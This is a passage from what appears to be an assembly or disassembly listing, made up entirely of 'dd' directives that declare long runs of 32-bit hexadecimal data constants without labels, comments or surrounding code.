		dd 0B337E7A4h, 0E0160057h, 9E77ECD0h, 931334B6h, 1E07A0AAh
		dd 6CD0EDCCh, 2E829A14h, 88EAB7h, 0E9E6CFA6h, 0D401AB5Ah
		dd 86BCD12Fh, 42D4851Dh, 9E95007Ch, 6EE6CA07h, 0AF00A86Dh
		dd 0EF2594Ch, 7419F098h, 5258066Fh, 0EEA99967h,	0C4FCB300h
		dd 80AACB17h, 0E1BC3019h, 720A8111h, 0AF966D00h, 0D32A3447h
		dd 26360165h, 69E410D9h, 0A938C49Ah, 541648h, 171C10Eh
		dd 496F2C88h, 0DA003C79h, 0DBEB63A8h, 0E0FA498h, 8BA23966h
		dd 0AF2E831Ch, 0F23DE8DCh, 0B005F445h, 5DCA00A4h, 692F33Fh
		dd 9F00EFB2h, 285BF851h, 787BEBh, 0B66630D2h, 269E4CFBh
		dd 1B89FE00h, 0AD41BF8Bh, 0C3D61D47h, 9F5D80F3h, 0C62C6A8Ch
		dd 5E2ABB00h, 0F984C06Ch, 0EE6E0F1Ch, 0D4600CC2h, 69C44283h
		dd 77E65900h, 0CB35B6DCh, 30F00D5h, 0ABB49AB8h,	4CF236C2h
		dd 0FD523F00h, 263DDF82h, 6AE60473h, 7481074h, 7C9060EBh
		dd 48A15A29h, 2A18AF8Eh, 7B7DE72h, 0A3AFFB00h, 0A85D6406h
		dd 40090016h, 0C6F9B3F7h, 70384391h, 63FA06CCh,	20D45Dh
		dd 83E92885h, 7193F8AFh, 1009AEEh, 5B1D7EAh, 0BA139B18h
		dd 0BD7788h, 38E5096Dh,	4BF2390Ah, 0FB283203h, 0B024D0E3h
		dd 0BEDE8Dh, 6D800E50h,	5436C883h, 529A5500h, 7AB1FB63h
		dd 2510071h, 0BCD627A4h, 8100ECB5h, 920D4A7h, 758B08Ch
		dd 8B225CB2h, 95183CA6h, 0CD3CD900h, 0A869A0B6h, 0E07FE1C5h
		dd 0DA002D74h, 0D12E4039h, 9B4585h, 7CC30A08h, 7B3AD7E1h
		dd 0EB4E2903h, 0F821CBEEh, 1DF0D4B6h, 3D4B83D9h, 4C226980h
		dd 483009A3h, 120E5CE0h, 83E1CEE5h, 0F8D8502Fh,	483E8A03h
		dd 380251F2h, 883067EDh, 2D000070h, 2AF8621Fh, 0E63B4248h
		dd 0A7A12532h, 6A019470h, 8F203F06h, 6EC5D915h,	4211271h
		dd 240C65CCh, 3B608245h, 99986700h, 5C2542FEh, 0ECE6FC00h
		dd 0CD86E712h, 0D54B00E5h, 0FB3CD835h, 2004F77h, 3F101EBh
		dd 0C992FDh, 2A8AD407h,	6D280CCDh, 0F4607700h, 2667B35Fh
		dd 1EC37D71h, 537BCFA1h, 0A7F0F62h, 0C9708EE0h,	77F6B2CBh
		dd 6C13A000h, 50DCA9B7h, 10CA01DEh, 4B320CFFh, 82A4E87Eh
		dd 906AE700h, 84BCCCEAh, 91C40352h, 4CD00837h, 28F180D5h
		dd 67713BBFh, 9050BD26h
		dd 48CB9C92h, 0C38FD1E0h, 0C7FC4F01h, 0A0D25402h, 5000D829h
		dd 7B6A526Ch, 0B168A74h, 1000ADA2h, 0DAB2CD02h,	0D16E0C07h
		dd 4A31C3AAh, 84F028FFh, 68B462FFh, 445F04E8h, 0C0F4B1AEh
		dd 8C3ADF9Fh, 0CB0D9E1Eh, 0C7776480h, 486AE8h, 8742D091h
		dd 0D807C5E4h, 3B303F7Fh, 4FD96015h, 4AC73CB4h,	0A0AFB325h
		dd 0ACF46267h, 0C7001C21h, 0E2500EDCh, 2588745Dh, 54A78364h
		dd 72C73015h, 0E8601397h, 54958C41h, 71E200CAh,	55486FA4h
		dd 0F04BF401h, 97334030h, 0ED76002Eh, 46DFEEA2h, 0E7019DE0h
		dd 9E6110DEh, 0C8EC1802h, 0D5D07F0h, 806819DAh,	5FA3FF72h
		dd 770548E8h, 946E86A2h, 0A5E2D4D0h, 0CDFAF5h, 0F634C9ADh
		dd 0E88FBEFBh, 1DBA63Dh, 9116E5C4h, 8ED6E103h, 360EC6F1h
		dd 156F2AC8h, 0B6AA48B4h, 0C4E4E803h, 878871AEh, 0B801673Ch
		dd 88EE8F65h, 2E8293DBh, 5A3EAEF3h, 0AA0740DAh,	0D5622656h
		dd 76F5A970h, 0CAE900B0h, 5AA45975h, 0F3075065h, 0BDCE9390h
		dd 0E02756C2h, 4ACB88h,	9488106Bh, 0EA924499h, 6C6A1500h
		dd 0A365CF33h, 2E850048h, 477150C3h, 0AB00E003h, 0D84F2AF1h
		dd 321C56h, 81BBD158h, 5CE3711Eh, 1F19B33Ah, 68CB162Ch
		dd 0E2A4A240h, 7548E8CCh, 12810163h, 0F77E9982h, 8518D020h
		dd 767D0605h, 33C0A7D1h, 3E6B8Ah, 252D2E5Dh, 0FCCAE6F8h
		dd 8716AB00h, 2CF3CBAAh, 0B2807B8h, 5F221C80h, 7808504Ch
		dd 26313B00h, 6F65368Ch, 0F1E60041h, 0EC66EF7Ch, 0E90063BCh
		dd 9B713BC8h, 73CB1AC7h, 777809FCh, 0D4034C1Ch,	48782D9Dh
		dd 34850200h, 7375AAF4h, 40A31D18h, 0B0DA1F74h,	346E6720h
		dd 4F62F00Bh, 634B0084h, 60AB952Ch, 7DE1B0E8h, 7781FA82h
		dd 1189A98Fh, 8B5F1B81h, 0EFB0D5D9h, 20CF62E0h,	18FCC1C1h
		dd 949D94BFh, 66D00C1Dh, 21C85108h, 9E040636h, 0F70789D3h
		dd 0D833949Dh, 0A822C1D0h, 0C63D022Fh, 46264CCEh, 0F4DC840h
		dd 0BC8ACB00h, 2DA2F8EDh, 1998C0FCh, 74E01216h,	0F458A1C0h
		dd 1F2A64ECh, 0B4FC0762h, 0B8B42009h, 0E395ED86h, 2ED0A847h
		dd 6433507Dh, 8FF1B1Bh,	0E3E2101Fh, 7EAC8660h, 54ADAE00h
		dd 462F48AAh, 19980090h, 0C2753E02h, 2A00E98Dh,	1FAD8806h
		dd 26112D8h, 83654147h,	6055A227h, 6D0CCA1h, 0A5F9B902h
		dd 0DF52103Ah, 3093B804h, 5310A4C5h, 0DB004CD4h, 8D442D0Bh
		dd 70269BEDh, 0A21900F3h, 0DA04D021h, 3D7DA36Bh, 3C64A107h
		dd 650B831h, 8EE054h, 65C76002h, 42B769Fh, 7105A00h, 0FDA0DEBFh
		dd 20E1002Ch, 87789BE5h, 0AD009757h, 8898608Fh,	5291C7h
		dd 0D6B393A6h, 6DBE92A4h, 3EBD6100h, 0FE5F1DECh, 4D140203h
		dd 0BB1FE552h, 0FB4E37E0h, 0E7B1A000h, 4FB92B79h, 7C870E69h
		dd 0C1A03C60h, 0BFEF5DE0h, 22B25100h, 101C07D0h, 0A73101BBh
		dd 0F2E6D943h, 359BC0B6h, 4721C000h, 14CD1CB3h,	995D265Eh
		dd 0D610079h, 0A56354ECh, 0B2E24000h, 36804346h, 0F0D600A4h
		dd 7628B3CEh, 0D300B747h, 0B06B3F01h, 733B2B38h, 0C96A005Ah
		dd 28F69C58h, 0BCA81182h, 0A31D0B9Eh, 2F14B603h, 628AE08Ch
		dd 0AC3D00C5h, 5F8ECFA0h, 3A00CA59h, 2B12A226h,	755E8565h
		dd 0A8686080h, 0C9A3D677h, 3C834007h, 50C05DB8h, 65B038h
		dd 0F59655E4h, 9CEDEF66h, 4F9B8F0Ah, 0A11E94F2h, 47CD5B00h
		dd 120A0153h, 20A455E1h, 5A7D3810h, 0AA0094EEh,	73A780A8h
		dd 32F763h, 9F2DD5FEh, 1AD1CDBDh, 0C454E8EBh, 0F4A3900h
		dd 0EF4BB7E2h, 0B4EB3FD6h, 0CD3A581h, 0E48EF1E5h, 2A079CE3h
		dd 13A1D73Bh, 0D06AF3C0h, 678C07A0h, 67C496B6h,	0BFDE40AFh
		dd 1B716808h, 89122100h, 0F0F738D8h, 0F3E885h, 98FE1E1Ch
		dd 0B7CCB8C8h, 6D742709h, 226C0068h, 1DAAE2Fh, 65203E37h
		dd 0DDF71388h, 0DF9040D7h, 0F500548Eh, 0BE629664h, 0E4B735E9h
		dd 0B3A000B9h, 9AD618EBh, 73009976h, 784B93EFh,	19E5C37h
		dd 57431450h, 0E4B7EC40h, 1B03DD26h, 0EB0E6283h, 7494C85Eh
		dd 72BD0058h, 8481A519h, 8C1D563Ch, 5980FD8Dh, 244B1447h
		dd 0DF9B24CCh, 165C0A14h, 7D8080B8h, 7791B63Fh,	7BDB3E00h
		dd 0A2829F8Ah, 2D1B0064h, 49884F0Eh, 160FBADCh,	7D47C335h
		dd 6D3204C0h, 0CF67F2h,	0FF20509Fh, 0ED443C90h,	1F19F503h
		dd 0F229559Ah, 3DFC483Bh, 0B5AF092Fh, 4007BD4h,	93B81E07h
		dd 0F309BA98h, 80E88ED8h, 23428388h, 0AC600616h, 31B98B31h
		dd 44DB300h, 0D9FF172Fh, 9A8D0934h, 840070C5h, 57B362Dh
		dd 0CCE648h, 0E8EEE96Ah, 1956D86h, 0E3309644h, 80E4C724h
		dd 0AC1BB520h, 7EEC12h,	18EAAF73h, 0C4B17478h, 0E18AE900h
		dd 0FA46C03Bh, 3A751F27h, 815D00A6h, 0D37ED402h, 0E1F11907h
		dd 3BC06D49h, 1FCB958Dh, 0A0FC7FE4h, 40E57800h,	3836AD5h
		dd 229B3872h, 9F210075h, 348B50E1h, 5E00DA64h, 4515D493h
		dd 6CAB77h, 70906F3Eh, 0D3627837h, 0DA719A0Eh, 67406324h
		dd 7923C80Bh, 1E630013h, 41784C2Ah, 0B0C08B51h,	0F1ACF2DEh
		dd 28267943h, 0F0E015h,	0B859B590h, 0C488BEBDh,	84190E00h
		dd 964C0804h, 0F7D6078Fh, 85A27Ah, 47E56471h, 3B016DB0h
		dd 0A2148B9h, 39F077EEh, 0D4F60714h, 0D3A54EF9h, 8AE8D159h
		dd 0A4073827h, 0BA3E8697h, 9BC83F30h, 176C734Ah, 0BF03BE65h
		dd 0FD340300h, 3AF6FCh,	8FA41858h, 2A61BDF4h, 3841E000h
		dd 0D363014Ch, 0D1305B1h, 90EAD593h, 6E95CE44h,	9FBD6D00h
		dd 0AB79E85Fh, 7F0DFC52h, 2411C004h, 0F7B9675Dh, 2B24A27Ah
		dd 3A9C0434h, 412DF942h, 523060CDh, 20FA0005h, 281758E3h
		dd 19FAC43Fh, 1A962B00h, 4CC1F971h, 0C85400DAh,	0BE48A65Dh
		dd 5E03FCEAh, 0E84DE064h, 807DFA30h, 0BFA851E0h, 275000B7h
		dd 55D865FBh, 1B0172C0h, 511F6C07h, 7BD07346h, 0FEDB17D3h
		dd 0CF1FADh, 0D67AFA6Ah, 0B50C4623h, 507E3F42h,	0DF9506B0h
		dd 1074ED26h, 57E26900h, 2DEE311Ch, 5938066Ch, 68DBD27Eh
		dd 97902109h, 0B0F6002Bh, 0B072495Ah, 89796101h, 0F97D667Fh
		dd 1AC92045h, 0E08A3D00h, 3A97E10h, 3475FFh, 0A2751126h
		dd 0E8EC0FDEh, 7A4E100h, 4F8216EDh, 0AE590086h,	31A5E49Dh
		dd 17EC5D40h, 4A6C6000h, 87BA1088h, 61340196h, 0BEEF89B1h
		dd 98C5CC59h, 90935601h, 0F7FC1E24h, 4C4828D4h,	0F100A487h
		dd 0F3E15E1Ah, 0C23102DAh, 8A2ADE13h, 0E4884F30h, 0E58D01CBh
		dd 0B86BABCFh, 7EFA40B2h, 0E400DB65h, 7506251h,	0D14F4h
		dd 274DCB39h, 0E025E66Ch, 0A28D2A00h, 4B24CE9Fh, 0BB7900DFh
		dd 3F662201h, 0AD052919h, 81864171h, 3B588400h,	3239C45h
		dd 0B490D3Eh, 0C09950DEh, 5D88C843h, 2DABD102h,	6933BB46h
		dd 0B03F6660h, 0CF000DAFh, 0D7EC1E68h, 1DC8E8F2h, 9F679012h
		dd 2DB8002Fh, 0F8EB612Ch, 9E5FE700h, 471329A0h,	332EE0B0h
		dd 4D2AA935h, 1F2BEBE8h, 5EF95300h, 18A8B39Ah, 713F636Ch
		dd 90CD6235h, 4E02618Ch, 8B791E01h, 34A5FF36h, 3CC1AC30h
		dd 201BDF89h, 91C328B1h, 0C95BF9C0h, 7CEC381Eh,	82A4B301h
		dd 0D0FBEB07h, 2DBFF0Eh, 443F724Fh, 4C8A8B1h, 0C1F81F12h
		dd 9801B4FAh, 0B6BDAA14h, 9CE07747h, 4C485018h,	0A87B1825h
		dd 0D603014h, 5A03A774h, 0B469C07h, 305100A2h, 624AC965h
		dd 0A10F83DFh, 0E3AF2871h, 0F0E3349Dh, 176CF78Ch, 0A1EA4950h
		dd 66C7D061h, 0B41A4C00h, 911E6D0Ah, 16872634h,	38C80B1Eh
		dd 0D7407C02h
		dd 0B188E660h, 754C65Ch, 463D9D85h, 0F4E69510h,	67C900A6h
		dd 81BE33F9h, 0AB00EBB9h, 2C6BB0Bh, 1E10AA47h, 80130898h
		dd 6A3D7EDFh, 34037959h, 81EA2E49h, 5525E774h, 53D95C90h
		dd 7AC239B5h, 0BC344F85h, 0C51180EFh, 1900A952h, 7226E4Bh
		dd 1546F0D7h, 94A52634h, 1975BD01h, 0A0834B48h,	7F2EEE10h
		dd 0D03E803Ah, 980029ECh, 4D432652h, 1441EF8h, 0AEA1E680h
		dd 8732A7C2h, 28875949h, 31364E91h, 482FAAE4h, 0B6002D92h
		dd 47C601B1h, 65798907h, 0BF930F0Ch, 3A3862h, 0C0FB1A24h
		dd 4BC1DCB5h, 0EA4D71C1h, 0D45088A1h, 1DC079h, 762207BBh
		dd 0BCB1F52Eh, 9B890500h, 91263B06h, 2B78C9h, 3F0B6C86h
		dd 0AF50243Eh, 48FF16FCh, 23B05494h, 5991A130h,	0E6F15Eh
		dd 45B2C194h, 0BA923780h, 4098CB60h, 0E8D13CA6h, 94840056h
		dd 0E209A424h, 1400B84Dh, 4B7F9769h, 0F0528ADh,	1C5251A9h
		dd 8D9618C0h, 410073EAh, 340E9E15h, 980C748h, 0BDB558E7h
		dd 0AA2F0683h, 129B3100h, 0C2DA4BD0h, 0B0D87D20h, 9DBD009Dh
		dd 1913152h, 271F7441h,	0E180C5F4h, 0B594BE1Eh,	0F8D33750h
		dd 0EC71A3E2h, 8CF0D6E0h, 0E3604800h, 6D3C7E77h, 0AF740C9Ch
		dd 0F42851B2h, 0C04E2800h, 83D3405Ah, 127F0176h, 441792D9h
		dd 0D28CC4D0h, 0B0F5DD0Ah, 1C803051h, 0EEF26CA2h, 1B10C06Bh
		dd 0F342524Ch, 57449F01h, 0A3F54AEDh, 76C2FCh, 0AF4D1BE0h
		dd 6099515Dh, 0DAA10A06h, 7819B9CFh, 1D8207E1h,	10D8FBEBh
		dd 7D4355BDh, 9B7C137Bh, 0BF81D600h, 72098EC6h,	0F7190E15h
		dd 7E801877h, 0F3D9C91Eh, 0F52880Dh, 4C135126h,	0F1EDC8ECh
		dd 77CD0E5Bh, 0CB4044F3h, 0C9302D63h, 41D23300h, 0E3D428C4h
		dd 92B80FC8h, 261D5E0h,	0CC1A6544h, 0E8007DEBh,	7F7A8F3h
		dd 0F2276DDh, 0A6CF493Fh, 0EF215300h, 9F00E8D0h, 0A8C73AE3h
		dd 7FD63F8Ch, 0D2EE1DEDh, 0FAE000A3h, 0F61A5BF3h, 13200E1Dh
		dd 3C043DCh, 2A65C366h,	9CC50049h, 852DBFAh, 80C73695h
		dd 7100B48h, 1739A25h, 77746A81h, 70FC0C6Eh, 0E500B93Ah
		dd 3FED08AAh, 1E5F2448h, 802EC1F5h, 94E8928Fh, 0BBB8B6FFh
		dd 0CF0002ECh, 968B4EF2h, 61C7DCE7h, 0FACC1820h, 92908C1Fh
		dd 1579E3h, 26BFCB95h, 2547BC9Ah, 0C300E4FCh, 1BBD9171h
		dd 2EAD3306h, 3579F8h, 59B45A1Fh, 9200A723h, 0E3A57058h
		dd 77FB56h, 73ECD08h, 7822EF33h, 0E73F4400h, 9DD6173Ch
		dd 0A32A005Ah, 8FE02E97h, 0C9000629h, 67A47C3Eh, 0FD8B99CBh
		dd 778C90F7h, 4BEE3821h, 0AA448200h, 2CF66057h,	3856C130h
		dd 74DF1733h, 798F0005h, 6677489Dh, 35F48B42h, 85AB8800h
		dd 378A89A9h, 0C0E3E027h, 0DD545E71h, 0CA1EC830h, 1040F013h
		dd 6B92F5D1h, 0D480064h, 0A5C6B221h, 87002793h,	490F2071h
		dd 0AB0533h, 1713FCA4h,	2BD043B1h, 0A3DC9800h, 0FE07276h
		dd 825001Dh, 1271E328h,	8500B721h, 839BEB47h, 0F0AFD6BFh
		dd 0C1271D0Ah, 2DDB80DFh, 794C3278h, 5F2A0503h,	29E004h
		dd 61A2A7A8h, 115DF365h, 97096F78h, 0CC51EBh, 0C78F632Fh
		dd 173E4h, 0CBA57E85h, 16A8ACDBh, 0CE44280Eh, 47A78017h
		dd 5D91FBBh, 4A34845Eh,	0C0ED8725h, 657727A8h, 5C8DA61Eh
		dd 45143301h, 5E30411Bh, 248F002Ch, 0E777E3Eh, 990056CDh
		dd 85D7DEFFh, 23F6DCh, 0BFEA7C7Ah, 0D055F44Fh, 0D4811B07h
		dd 0CACDCA6Fh, 0DBEDD0h, 5C8E7B08h, 2D9379F5h, 4D678C0h
		dd 1FE7CF65h, 866818h, 52B21C30h, 8D06AC01h, 0A5FBEAABh
		dd 0C2C8E98h, 3ECEDE62h, 0A36069A8h, 8028DF1h, 183F60E4h
		dd 0CC8AAAC9h, 70B043Ch, 3619347Dh, 0BD0088CAh,	0D2F51029h
		dd 20EC5084h, 4B3A037Ah, 7BDA4F77h, 99B37800h, 0EFD90ABAh
		dd 0B1070B40h, 31003903h, 0A8C1478Eh, 0E21D6607h, 7751938Ch
		dd 0E185A1FFh, 404ECF19h, 0BD6F424h, 240050D9h,	17A25AE2h
		dd 6E523087h, 46603119h, 995C5680h, 36B73706h, 0B03262h
		dd 0E578207h, 4D4277F9h, 0A0C09126h, 21741Ah, 1FEC57C6h
		dd 5CE1C041h, 0B7B0FF14h, 0ED908200h, 448A0EE4h, 3B1948B2h
		dd 1BA0450h, 9C3D265Ch,	41523B2Ch, 200E4DF4h, 250E9A0Ch
		dd 418ABCA5h, 9431C422h, 51F72888h, 8098513Fh, 0E52B1129h
		dd 48EBEA89h, 18280412h, 0C3A4EEB0h, 28FD3368h,	1E8C6100h
		dd 0B26C1AC0h, 0D374006Fh, 5E5C2F84h, 8D0EEEC3h, 0E0043988h
		dd 7B9D6533h, 0C81F000Bh, 0A748DD7Fh, 2300F45Dh, 0ABCD63Ah
		dd 3AF1DB8h, 0B28301DCh, 0E7E867F3h, 1F3B8955h,	0AEEE8009h
		dd 8A81D8DDh, 0CE21019Ch, 0EA648B97h, 0E568C458h, 0D2BAC102h
		dd 0E08171A9h, 1920CEh,	2C6AC4FDh, 0DA82BF72h, 811F263Ah
		dd 0F4787066h, 996004F8h, 1EE7E635h, 80F623FCh,	2C981868h
		dd 4E00B969h, 8979E529h, 1F31E247h, 47CF0A7Ah, 401D0BDDh
		dd 719A388Dh, 0CB912C00h, 0B4344B0Eh, 93CF1C6Bh, 6F44007Fh
		dd 15F7BBF3h, 9D08B100h, 88A636B5h, 9123009Fh, 1FB7DF5Eh
		dd 0CC18131Ah, 0DE404A6Bh, 2395005Ah, 0A1732677h, 0EE669D5h
		dd 99480604h, 0B081F07Dh, 0E8FF7845h, 59E698h, 4A5BB03Ch
		dd 24A8D4E1h, 29364100h, 5E49F13Dh, 679007Bh, 0BA13C5F0h
		dd 630320F5h, 582787B3h, 998000B8h, 0D7C87FC0h,	0BF001CFEh
		dd 0AB66B433h, 77288D25h, 0A4263EFDh, 9532B30Fh, 0DEFEBA00h
		dd 6E172345h, 8B077B5Ch, 5F719490h, 4183FF80h, 6A482093h
		dd 8B00A879h, 0D3BA03A7h, 0F3DA6D34h, 1CB2DCF0h, 804914A0h
		dd 275911E4h, 47000555h, 34BEDB0Ch, 615A0736h, 5E9D191Bh
		dd 31304077h, 40E9B3D6h, 85E4229Ch, 270019DEh, 3AD880E0h
		dd 3E82015Eh, 1A1D6E0Ch, 0BCDCDCF3h, 0B67EB003h, 2986C9EFh
		dd 3E047611h, 0E27D6F8Fh, 8BE60980h, 227B7111h,	0B841E800h
		dd 5FAA5AABh, 278C3F02h, 0DDCDC19Eh, 9780BBDCh,	0DD79DB72h
		dd 0BD1EFA6Dh, 6580390Fh, 0D2CF9ACDh, 484F1F90h, 0FA6EEBh
		dd 2D9B72FEh, 0AD7906DCh, 6A059E00h, 81538C6Bh,	0F03100D0h
		dd 0E379A116h, 100E9AF8h, 0A0149774h, 0F2183C1h, 0A4BA1DAAh
		dd 3B813D19h, 43D765E9h, 98BCD082h, 316E5F30h, 14BB6h
		dd 370858Eh, 0C0BE6975h, 2ABB481Eh, 609190CFh, 2457E4B2h
		dd 98D20064h, 80DDCC1Ch, 633EB430h, 3E4CACh, 0B255F71Fh
		dd 76812305h, 7A6B850h,	95B58BB9h, 0EF9D0058h, 0B3004910h
		dd 160B8EB4h, 0A31347h,	8D65BB1Bh, 0FCCA48AFh, 0D66E3A01h
		dd 333794BEh, 2A1682E0h, 7C48D01h, 2B10D956h, 0F9DB40F4h
		dd 9031761h, 0C7BA46C6h, 325AE9EEh, 2CC2DCCh, 885FFAD0h
		dd 0E0A0F6F0h, 1EFB8D91h, 0AF4F130Ah, 7C17B02Ch, 660F2E00h
		dd 7B58FCEh, 0E8448799h, 1D3BC346h, 0C0E0A3D8h,	7DCAE00h
		dd 1B5CCC9Fh, 94F406D4h, 98E8F289h, 988BDA7Ch, 143C53D3h
		dd 48D932AEh, 0D5C4FC00h, 3867B3E6h, 6D097A07h,	74807FD8h
		dd 0C80893h, 2C76F4E7h,	7AA46292h, 53C48000h, 72D316D5h
		dd 0B28100ECh, 634AD206h, 0FFFEB33Eh, 32CF6000h, 5E7F507Bh
		dd 0E5BA0062h, 287797D5h, 0FB079F24h, 0CBFCB271h, 799ECCC0h
		dd 81160708h, 20BA83D7h, 571BA54Fh, 98CEC507h, 6E043DDh
		dd 93DFC4h, 3FDC1AE9h, 0A78AB760h, 0A2BF3902h, 44EED8A3h
		dd 0CF0B0078h, 0A7793C94h, 8D00BAF2h, 4CA94E17h, 0E74135h
		dd 5512D8A8h, 0BDFCBD7h, 0BD21A400h, 18F022CAh,	77310054h
		dd 86B673D9h, 990133AAh
		dd 51F5C9B9h, 0CDFC204Bh, 8952003Ah, 0A42A08E9h, 3D24493Eh
		dd 8F01C8D4h, 0E3B8607Bh, 255EE0h, 591BCCA1h, 8633305Ch
		dd 0A891A00Ch, 7F68E8h,	0DBFFFDF4h, 29EBF606h, 23008FF2h
		dd 0CE983E1h, 6FBCC5E4h, 0C481F838h, 0C2A84233h, 59CB9A80h
		dd 10F08D12h, 1B675100h, 0D6E7A0F8h, 8E6204C2h,	90A79287h
		dd 0EA884730h, 69EE2CA8h, 342EF924h, 9E139D00h,	1182030h
		dd 0CC412F74h, 824873F8h, 0A2D1FB50h, 0F86463BAh, 0E4F8A67h
		dd 14818291h, 260D7EE3h, 3E3D94E8h, 0F338E71Eh,	0DF61EC40h
		dd 334AAAh, 0A71CC3F2h,	58A6E3F7h, 11FD7A03h, 88B1B380h
		dd 1829FAh, 0FC83C384h,	1B968609h, 175DAE00h, 0A56B6205h
		dd 34D74F6h, 0C0D3BC2Ch, 0B4C3F30Eh, 0F7A181E4h, 8540FA9Dh
		dd 4900C72Bh, 0DAAEA084h, 227944h, 0C85C19A2h, 7AF004B5h
		dd 3297AB03h, 0BBEE756Ch, 0F350BFC5h, 8889BFh, 22BBA95Dh
		dd 0E19C2AA4h, 0F99BD909h, 0F88D80C3h, 3B8EE04Dh, 0E38E6616h
		dd 71497B20h, 0AAD7EB01h, 36FC40F1h, 580014CCh,	0E4516810h
		dd 53C1A3h, 0B74A9A42h,	0D2949B43h, 37CA5500h, 24A4B602h
		dd 5C45E885h, 0B902AD6Bh, 0AB360A76h, 32A83560h, 0B7545500h
		dd 82A55774h, 0F770264h, 52883EE0h, 562DE440h, 6B03DF72h
		dd 53106090h, 98DED824h, 0DCF6073Ah, 0E086654Eh, 0A84D9961h
		dd 3360AC04h, 0FDC3F3AEh, 94E8B046h, 63A531B0h,	0FC105D18h
		dd 48907CF8h, 0F1ACEC1Dh, 6F799000h, 24AA369Ah,	0A46CC1h
		dd 0E516EF1Eh, 421E0ABDh, 6040B450h, 53A53F03h,	4B3C0039h
		dd 0FF06E3D7h, 0E8072AA3h, 0E0B19464h, 3135FE90h, 0D1BA005Fh
		dd 0A8DBDA92h, 0E274A38Ah, 0C13C7A00h, 19FE4980h, 0B61800A7h
		dd 643D50EDh, 22F884E9h, 78AB3E03h, 0D1806C51h,	48DD0E0Dh
		dd 4435E8h, 3AA7EB05h, 0FDB22E82h, 3C5EA62Eh, 46776C00h
		dd 797A3086h, 0EA570769h, 0DF387221h, 0B9F6AEC0h, 0B40024E7h
		dd 807B537h, 48A075C3h,	0E100A0B3h, 992B8BC9h, 0A4005C83h
		dd 96B747E8h, 28DA2579h, 0A0C00B22h, 0E68AACh, 0F22E3EE4h
		dd 0BB81B465h, 3100DB7Ch, 7FFAFFA5h, 0DFD80Dh, 0DA40C942h
		dd 0C475B78Ch, 0D0AEB100h, 0E015CD2Eh, 0F8E900DEh, 194651FFh
		dd 890077A1h, 0CFEA4329h, 0A872CBh, 0C0A3B6D7h,	0C6BCDB40h
		dd 5501F490h, 0A5AF5DCCh, 1CC0D528h, 0F3B826DDh, 39484030h
		dd 0F900AE3Fh, 59499D70h, 0BD7C16h, 0D496ADE9h,	87E1B441h
		dd 0ED00149Bh, 81CA3DE0h, 0F5A10038h, 80C3D821h, 0FCEAADD2h
		dd 0E47F49h, 878407EEh,	48D9D7h, 0F483AB4Dh, 0AF6431F2h
		dd 0C5E72200h, 0E4639116h, 99D5003Dh, 0EA9E1B07h, 0A10640B7h
		dd 0D51CC58h, 0DB80070Ch, 8188D98Dh, 308AA705h,	42007D29h
		dd 8FA46E5Bh, 0B6AD7h, 996368ACh, 41A98922h, 0DD789CE4h
		dd 72FCE500h, 2B4BF494h, 0B5910123h, 4A887025h,	1FA074D0h
		dd 0E38844Ch, 9E26CD4h,	60A80154h, 0E4C8D87Bh, 387A07E0h
		dd 0C05C840Dh, 0F8BCF456h, 0D4140900h, 1D94A7D8h, 0C38F0AD7h
		dd 3D88681Bh, 8010BA1Eh, 0EED69387h, 0EC0066A8h, 0F48503E5h
		dd 0DF288h, 0C128BB80h,	573BD07Dh, 97012779h, 117E82AAh
		dd 0D0649495h, 0BEEA44h, 0AC6EA0BDh, 0FEA95272h, 13214501h
		dd 388F7EDCh, 0F8805EFCh, 0A1E030Dh, 22B6BF99h,	61824FD8h
		dd 3A702548h, 0F74981F0h, 0EE1EA538h, 4CA430h, 0E53383DFh
		dd 26B9530Bh, 807FD03Fh, 43F2E68Dh, 0F694BF9h, 784AEA75h
		dd 911AE180h, 74B109DAh, 8BD3D808h, 6F808CA9h, 0E95FA7A1h
		dd 0C0F88103h, 1B18751h, 0E67E9111h, 63F0176Eh,	2F058178h
		dd 0F9819822h, 452556DDh, 0A876E0CCh, 8E740400h, 0E2074EE3h
		dd 0A0F63AB3h, 0A7E84C00h, 0AFB440F4h, 7C591C73h, 18971874h
		dd 3F2E068h, 0F522042Bh, 3800C18Eh, 0B644D36Fh,	597DADh
		dd 64AE3BE1h, 0C222C42Bh, 7E715C00h, 0B708332Eh, 3D97007Bh
		dd 54F8054Fh, 8CE49996h, 0D3A6A80Fh, 84686016h,	97441B2h
		dd 0FF75B1E4h, 0E0E37427h, 73E127A5h, 0AC2170C0h, 170FA6h
		dd 0B257A9A2h, 4697A4C3h, 0E3F8E000h, 954D87E5h, 3B9D7A75h
		dd 61001E9Fh, 0AF0B1684h, 0E6001C99h, 182EB52Fh, 2D470DCh
		dd 7E49BC2Dh, 60408D77h, 8A5DAE38h, 0A0F8018h, 0F49DE06Bh
		dd 9F3B0FE2h, 5F82A1DAh, 8E4352Dh, 80E8BD26h, 0C088AE94h
		dd 1252EF40h, 86D717ABh, 37000025h, 7D136D41h, 6C18BA00h
		dd 0DDE1F9C9h, 75560016h, 0E7354954h, 0BE77AE05h, 0D3B23200h
		dd 9B1D5DCBh, 455A003Eh, 0E35BB60Ah, 4E1893D0h,	195847DBh
		dd 39D926DCh, 0D212FFh,	520AD128h, 0BA2A4318h, 0B400E420h
		dd 0EB83BCDh, 2E9D03EDh, 404C7410h, 5FF078BBh, 0AD80F8DDh
		dd 0E31DAD0h, 2E600AFh,	0DFA743Ch, 0C92EF853h, 0AD0092B8h
		dd 0CEAEE082h, 2445155Fh, 0AF005856h, 813AC337h, 1800DAADh
		dd 0FD4EFF34h, 23B368h,	0E1D115E5h, 7A7F5F1Dh, 0C1249700h
		dd 30314F1Ah, 4A2E3E10h, 0A586B787h, 3E321049h,	1A005A77h
		dd 39736EC8h, 84970Eh, 0C7F4B62Dh, 0D43450Bh, 0D2E18D05h
		dd 98C0862Ch, 1E36034h,	1A229676h, 80853678h, 0E4E59E18h
		dd 71C5EE48h, 0F481022Eh, 1835199Ch, 27005851h,	0EF2C0F78h
		dd 662A00D0h, 0BA62BDFDh, 42020685h, 776A18EAh,	0B019C0E7h
		dd 79990E4Dh, 0C0D25211h, 0A4A9738h, 0ED48500h,	0CCCFE2DBh
		dd 7E7F246Ch, 9B2D6010h, 8F00CDB1h, 23A419B5h, 1C8EE3D9h
		dd 301FAC9Ch, 0C87A0E48h, 2A24581Dh, 0E7C64D40h, 0FE6EAh
		dd 6C4560E3h, 0C39AC9D5h, 0B29B1F12h, 527334D0h, 1CF0009Dh
		dd 0E045F21Eh, 0B7002E1Dh, 8236E9D3h, 9AA3C35Ch, 974738E0h
		dd 0E85260C9h, 98BD78C0h, 7026C1A7h, 8742248Dh,	7DF4C055h
